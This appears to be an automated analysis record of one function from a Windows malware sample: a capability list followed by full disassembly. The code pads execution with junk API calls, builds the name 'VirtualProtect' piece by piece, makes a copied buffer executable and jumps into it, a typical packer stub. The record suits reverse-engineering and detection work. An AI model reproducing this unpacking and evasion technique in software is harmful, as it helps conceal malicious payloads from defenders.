Function at 0x401603
Capabilities:
Access the windows event log
Get disk information
Get disk size
Query or enumerate registry value
Read file on windows
Set registry value
Shutdown system

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426c0b
mov eax, dword fs:[0]
push eax
mov eax, 0x19bc
call fcn.00418cb0
mov eax, dword [0x42c14c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, 0x443b88
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ebx, ebx
cmp eax, 0x4af62
jne 0x401752
lea eax, [ebp - 0x19c0]
push eax
lea eax, [ebp - 0x19ac]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorGroup]
lea eax, [ebp - 0x19bc]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
push ebx
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push ebx
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
lea eax, [ebp - 0x182c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [0x50bce4], 0x86a
jne 0x4016c6
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
lea eax, [ebp - 0x19a8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
lea esi, [ebp - 0x1848]
call fcn.00401d04
push 0x7fc
lea eax, [ebp - 0x80c]
push ebx
mov dword [ebp - 4], ebx
push eax
mov dword [ebp - 0x810], 0x73
call fcn.0040b370
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
call fcn.00401000
fld qword [0x42a0c8]
pop ecx
pop ecx
push 0x50
push ecx
push ecx
fstp qword [esp]
push str.jumubahegalufara
push str._s__f__c
call fcn.00403510
add esp, 0x14
push dword [ebp - 0x19ac]
push 0x72708
push 1
push edi
call fcn.004038d9
push ebx
call fcn.00403a4a
or dword [ebp - 4], 0xffffffff
add esp, 0x14
push 1
xor edi, edi
call fcn.00401d45
mov edi, 0x443b88
xor esi, esi
cmp dword [0x50bce4], 0x174
jne 0x401791
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea eax, [ebp - 0x19ac]
push eax
lea eax, [ebp - 0x810]
push eax
push ebx
push dword [ebp - 0x19ac]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryMultipleValuesW]
push dword [ebp - 0x19ac]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [0x50bce4], 0x130b
mov dword [0x4e6b04], ebx
jne 0x4017e3
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
push ebx
push ebx
push dword [ebp - 0x19ac]
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x19ac]
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalWire]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegReplaceKeyA]
lea eax, [ebp - 0x1888]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommProperties]
cmp dword [0x50bce4], 0x10ad
jne 0x401807
mov dword [0x4e4664], 0xbb6f8298
cmp esi, 0x193550
jle 0x40182b
mov eax, dword [ebp - 0x19b8]
shr eax, 0x18
cmp eax, 0x905853c
je 0x40182b
cmp dword [ebp - 0x1854], 0x6a7e3fce
jne 0x40183a
inc esi
cmp esi, 0x16c680b3
jl 0x401754
jmp 0x401844
mov dword [0x4e6b10], 0x9f4dcc0e
xor esi, esi
cmp dword [0x50bce4], 0x1d1
jne 0x40185b
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
cmp esi, 0x163ee3
jne 0x40186d
mov eax, dword [0x442b08]
mov dword [0x50bce4], eax
cmp dword [0x50bce4], 0x10ae
jne 0x4018bf
lea eax, [ebp - 0x1888]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
lea eax, [ebp - 0x182c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
lea eax, [ebp - 0x19bc]
push eax
lea eax, [ebp - 0x19b0]
push eax
lea eax, [ebp - 0x19c4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
inc esi
cmp esi, 0x288142
jl 0x401846
xor eax, eax
cmp dword [0x50bce4], 0x8af
jne 0x4018e4
mov dword [0x4e6b08], 0xfbc84ed2
cmp eax, 0xa1f94
jne 0x4018f5
add dword [0x50bce4], 0xce9e1
inc eax
cmp eax, 0x6b54e6
jl 0x4018ce
push dword [0x50bce4]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4e465c], eax
mov eax, dword [0x442afc]
mov dword [0x50bce8], eax
xor eax, eax
cmp dword [0x50bce4], ebx
jbe 0x401948
mov ecx, dword [0x50bce8]
mov cl, byte [eax + ecx + 0xce9e1]
mov edx, dword [0x4e465c]
mov byte [eax + edx], cl
inc eax
mov dword [0x443b80], ebx
cmp eax, dword [0x50bce4]
jb 0x401923
call fcn.0040108f
xor esi, esi
cmp dword [0x50bce4], 0x702
jne 0x401964
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp esi, 0x25a073
jne 0x40197c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x4e6b18], eax
cmp dword [0x50bce4], 0x9ec
jne 0x4019a9
push ebx
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push ebx
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetPrivateObjectSecurity]
inc esi
cmp esi, 0x5c7d6d
jl 0x40194f
push edi
push dword [0x4e6b18]
mov dword [0x443b88], 0x74726956
mov dword [0x443b91], 0x6365746f
mov dword [0x443b8c], 0x506c6175
mov byte [0x443b90], 0x72
mov word [0x443b95], 0x74
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x19b4]
push ecx
push 0x40
push dword [0x50bce4]
mov dword [0x4e4650], eax
push dword [0x4e465c]
call eax
call fcn.004015ca
add dword [0x4e465c], 0x206e
mov eax, dword [0x4e465c]
mov dword [0x4e6b1c], eax
xor esi, esi
cmp dword [0x50bce4], 0xa59
jne 0x401a4e
push ebx
lea eax, [ebp - 0x1810]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push ebx
lea eax, [ebp - 0x1010]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
cmp esi, 0x305b49
jne 0x401a5c
call dword [0x4e6b1c]
inc esi
cmp esi, 0x60ca1d
jl 0x401a24
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004025a2
leave
ret